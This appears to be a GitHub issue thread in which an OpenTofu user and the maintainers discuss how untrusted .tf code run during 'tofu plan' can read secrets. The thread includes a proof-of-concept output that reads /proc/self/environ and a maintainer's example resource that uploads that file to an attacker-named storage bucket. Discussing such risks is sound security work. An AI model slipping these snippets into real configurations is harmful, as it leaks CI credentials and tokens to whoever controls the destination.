file() function on `tofu plan` may be used to reveal secrets
OpenTofu Version
OpenTofu v1.8.0
The problem in your OpenTofu project
Details
file() and similar functions have unrestricted access to fs
PoC
output "environment" {
value = file("/proc/self/environ")
}
Attempted Solutions
none
Proposal
Impact
In scenarios where low-privileged users can run plan (via PR by example) they as well may obtain secrets from fs and environment used to run plan
While it is inherent to terraform/tofu , blocking plan is not always feasible (in corporate environments)
It would be great to have some sort of "safe mode", like restricting file() to only limited set of files/dir
export TF_FILE_SAFE_MODE=1
export TF_FILE_SAFE_PATHS="./;../config_file"
similar approach can be used with data "external"
upd. probably a similar approach should be used for white-listing providers , i.e.
export TF_PROVIDERS_WHITELIST="integrations/github,integrations/google"
References
https://github.com/opentofu/opentofu/security/advisories/GHSA-wwf3-2226-6cxh
Hi @oprudkyi this is not just a problem with the file() function, providers also have unrestricted access to the local environment. You should not run untrusted code.
@abstractionfactory probably changing providers should be somehow limited, like github do
You should not run untrusted code.
sure, but say my work partially just reviewing hundreds pull requests per day , some small some very elaborate
and You should not run untrusted code. means I should review, run plan (approve build manually) then there possible errors etc and it takes a lot of time
I would like to have some cheap way (while not very advanced) to automate plan before manual inspection
@oprudkyi currently, OpenTofu has no isolation for Tofu code, nor does it have any isolation for provider binaries. Adding a singular function won't fix this as providers can also introduce functions using the new provider-defined function API. If you need to run partially or fully untrusted code, I would suggest, at the very least, to run it in a container so your host operating system cannot be accessed.
We made a stab at designing provider isolation, but it was (way) too complex to implement, see opentofu/opentofu#1138. If you would like to see sandboxing in Tofu, I would suggest changing the issue to that effect to more accurately reflect what the goal is.
to run it in a container so your host operating system cannot be accessed.
it won't help with
value = file("/proc/self/environ")
nor does it have any isolation for provider binaries
by providing way to limit providers only to trusted/white-listed ones this risk can be partially leveraged
Why would a containerized run expose host env variables in the containers? I haven't seen any container engine that does that. Besides, you will need to exclude the local provider, which is used all over the place. The templatefile() and filebase64() functions would also need to be sandboxed. You would also need to review every version of a provider that comes out to make sure it doesn't include unwanted functionality.
In my strictly personal opinion these needs should be addressed via some sort of policy enforcement mechanism, not on an ad-hoc basis as the latter would result in a very leaky system.
I don't know what do you mean really, we use containerized run (google cloud build) but have to pass some values via environment variables (github token is the most affecting issue), but other values where there is no way to use indirect auth (workload identity federation) are also concern https://search.opentofu.org/provider/hashicorp/github/latest#oauth--personal-access-token https://search.opentofu.org/provider/hashicorp/github/latest#github-app-installation
You would also need to review every version of a provider that comes out to make sure it doesn't include unwanted functionality.
I just want to white-list google and github providers and that all
So, if I understand your use case correctly, you want to run untrusted .tf code with sensitive provider credentials.
Short term you may want to look into AppArmor or SELinux to restrict access to /proc. However, there are zero guarantees that this will work. I think it is also very difficult to guarantee that OpenTofu will never have a function to read environment variables directly.
I'll raise this to the core team for discussion, but this is such a highly specific usecase that I'd rather try to work with temporary credentials, reprovisioning them for each run, or I would institute some sort of policy enforcement. We have prototyped this before with the JSON output and OpenPolicyAgent and it works, see this comment: https://github.com/opentofu/opentofu/issues/1704#issuecomment-2202721852 You would want to convert your .tf code to JSON and run your policy on that.
If your need would be met by configuring your execution environment to permit only a specific set of providers, you can achieve that already today by writing a CLI Configuration file (note: this is a separate thing from a Terraform Module, typically living in the user's directory) that overrides the default provider installation strategies using Explicit Installation Method Configuration.
For example, to allow only the registry.opentofu.org/hashicorp/google and registry.opentofu.org/integrations/github providers -- forcing everything else to fail -- you could configure it like this:
provider_installation {
direct {
include = [
"registry.opentofu.org/hashicorp/google",
"registry.opentofu.org/integrations/github",
]
}
}
The above configuration includes only the direct installation method -- which is the one which contacts each provider's origin registry directly -- and configures it to be used only for these two providers in particular. For any other provider there would be no available installation method at all, and so installation would immediately fail.
Of course that's only helpful if it's the providers that you distrust. This cannot help with situations where the configuration itself is untrusted.
means I should review, run plan (approve build manually) then there possible errors etc and it takes a lot of time
Just a thought: while it's probably good to presume some degree of trust and good intentions, if this is a big concern, maybe it's worth writing some automation downstream of whatever tooling is running the plans to look for and flag for approval or disallow certain types of operations? For example, writing some checks using open policy agent or similar tooling, even just some regex based checks?
It could be interesting longer term to allow some sort of restrictions to where in the filesystem file() can read from, but I tend to agree with most of the sentiment in this thread.
And would also agree with trying to use things like OIDC vs static credentials where possible.
I think it's also worth noting that the hashicorp/google provider itself has at least one way of smuggling data from the OpenTofu execution environment to an attacker-controlled location:
resource "google_storage_bucket_object" "picture" {
name = "environ"
source = "/proc/self/environ"
bucket = "place-to-send-sensitive-stuff"
}
The integrations/github provider doesn't currently allow creating a file in a repository based on a file read from disk -- it only accepts content for the file as a string provided directly -- but I see that someone already tried to do the thing that would likely be solved by adding a similar feature to that provider, and that issue expired due to being stale rather than being explicitly declined, so a future version of the provider might well offer a similar loophole.
Various other providers offer similar loopholes, and so (despite the example CLI configuration I shared in my previous comment) I don't think that restricting which providers can be used is really a practical answer either, unless you're prepared to fork the providers you use and remove all of the direct disk access features from them and then write a CLI configuration that forces installing the providers from your own "mirror" (though it wouldn't really be a mirror, since it would contain modified providers!).
Wouldn't running TF inside a docker container be a solution to this issue, without any other workarounds needed?
@mm-chia from what I understand, it wouldn't because @oprudkyi would like to make sure that the credentials tofu needs for providers (e.g. AWS) through environment variables are not readable by hostile Tofu code.
Ah, yes.. I understand the issue now. Well, it would be next to impossible to prevent this in practice :) Rather, restrict who can run tofu code.. if you don't trust them..
OpenTofu does currently have a mechanism called "reattach providers" where some other parent process launches the providers and performs the handshake on OpenTofu's behalf, and then launches OpenTofu itself with an extra environment variable to tell it what to connect to. That is in principle a starting point for running the providers in a different context than the OpenTofu core process.
However, it's there primarily for use by the testing facilities in the plugin framework, rather than for "real" use. I don't think it supports running multiple instances of the same provider with different configurations each, for example, because provider tests don't typically need that.
So I think it's true indeed that there isn't really a good answer today, but other models for running provider plugins are possible in principle. 🤔
Thank you for responses
it seems like the most simple working option is grep over tf files
other option is some checking framework - tfsec/trivy etc
At this point, I think we have gone as far as we can on this issue. The security model of OpenTofu requires a significant amount of trust in your upstream modules and providers. Changing that paradigm is more work than it is worth IMO.
We are open to re-visiting this topic, but overall it's not a reasonable goal to try to change this in OpenTofu.